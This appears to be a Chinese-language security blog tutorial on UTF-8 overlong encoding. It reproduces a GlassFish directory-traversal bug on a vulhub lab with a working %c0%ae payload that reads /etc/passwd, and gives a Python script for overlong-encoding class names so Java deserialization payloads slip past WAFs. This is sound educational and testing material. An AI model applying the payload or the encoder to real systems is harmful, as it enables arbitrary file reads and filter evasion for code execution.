0%

UTF-8 Overlong Encoding导致的安全问题

GlassFish 任意文件读取漏洞、利用Overlong Encoding绕过java的waf

UTF-8 Overlong Encoding导致的安全问题

参考文章

UTF-8编码原理

UTF-8是现在最流行的编码方式,它可以将unicode码表里的所有字符,用某种计算方式转换成长度是1到4位字节的字符。

参考这个表格,我们就可以很轻松地将不同区间的unicode码转换成UTF-8编码:

First code point Last code point Byte 1 Byte 2 Byte 3 Byte 4
U+0000 U+007F 0xxxxxxx
U+0080 U+07FF 110xxxxx 10xxxxxx
U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx
U+10000 U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

举个例子,欧元符号€的unicode编码是U+20AC,按照如下方法将其转换成UTF-8编码

  1. 首先,因为U+20AC是位于U+0800U+FFFF之间的,所以由上图可知其UTF-8编码长度为3

  2. U+20AC的二进制表示为10 0000 1010 1100,将其从右到左分成4,6,6三组(第一组长度不足4要补0)就变成0010 000010 101100

  3. 按照图表中的编码方式,分别在三组添加前缀后结果为11100010 10000010 10101100,对应的就是\xE2\x82\xAC

  4. \xE2\x82\xAC即为欧元符号的UTF-8编码

Overlong Encoding造成什么问题

Overlong Encoding就是将1个字节的字符,按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。

举个例子,点号.的Unicode编码和ascii编码一致,均为0x2E。按照上表它只能被编码成单字节的UTF-8字符,但是如果按照下面方式去转换:

  1. 0x2E的二进制为10 1110,在前面补5个0变成00000101110
  2. 将其分成5位、6位两组:00000101110
  3. 按照在U+0080U+07FF区间编码方式,分别给这两组增加前缀11010,结果是1100000010101110,对应的是\xC0\xAE

0xC0AE并不是一个合法的UTF-8字符,但我们确实是按照UTF-8编码方式将其转换出来的,这就是UTF-8设计中的一个缺陷。按照UTF-8的规范来说,我们应该使用字符可以对应的最小字节数来表示这个字符。那么对于点号来说,就应该是0x2e。但UTF-8编码转换的过程中,并没有限制往前补0,导致转换出了非法的UTF-8字符。

这种攻击方式就叫“Overlong Encoding”。

很多语言都对此攻击方式做出限制,如python想将0xC0AE转换成点号,就会抛出异常

而在java中很多地方却并没有对其进行防御,因此导致安全漏洞。

GlassFish 任意文件读取漏洞

GlassFish在解码URL时,没有考虑UTF-8 Overlong Encoding攻击,导致将%c0%ae解析为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。

我们用vulhub的靶场复现一下

这个漏洞就是在URL中使用%C0%AE来代替点号.,绕过目录穿越的限制,导致任意文件读取

payload如下

1
/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

可以发现成功读取/etc/passwd

利用Overlong Encoding绕过WAF

绕过原理

1
Java在反序列化时使用ObjectInputStream类,这个类实现了DataInput接口,这个接口定义了读取字符串的方法readUTF。在解码中,Java实际实现的是一个魔改过的UTF-8编码,名为“Modified UTF-8”(只使用三个字节来表示)。并且其三字节以内的转换过程是和UTF-8相同的,所以仍然继承了“Overlong Encoding”缺陷。

将ASCII字符串转换成Overlong Encoding的UTF-8编码,python脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def convert_int(i: int) -> bytes:
b1 = ((i >> 6) & 0b11111) | 0b11000000
b2 = (i & 0b111111) | 0b10000000
return bytes([b1, b2])


def convert_str(s: str) -> bytes:
bs = b''
for ch in s.encode():
bs += convert_int(ch)

return bs

if __name__ == '__main__':
print(convert_str('.')) # b'\xc0\xae'
print(convert_str('org.example.Evil')) # b'\xc1\xaf\xc1\xb2\xc1\xa7\xc0\xae\xc1\xa5\xc1\xb8\xc1\xa1\xc1\xad\xc1\xb0\xc1\xac\xc1\xa5\xc0\xae\xc1\x85\xc1\xb6\xc1\xa9\xc1\xac'

运行结果如下

总结一下,在java环境下可以利用Overlong Encoding绕过waf的限制,使得我们可以执行恶意代码。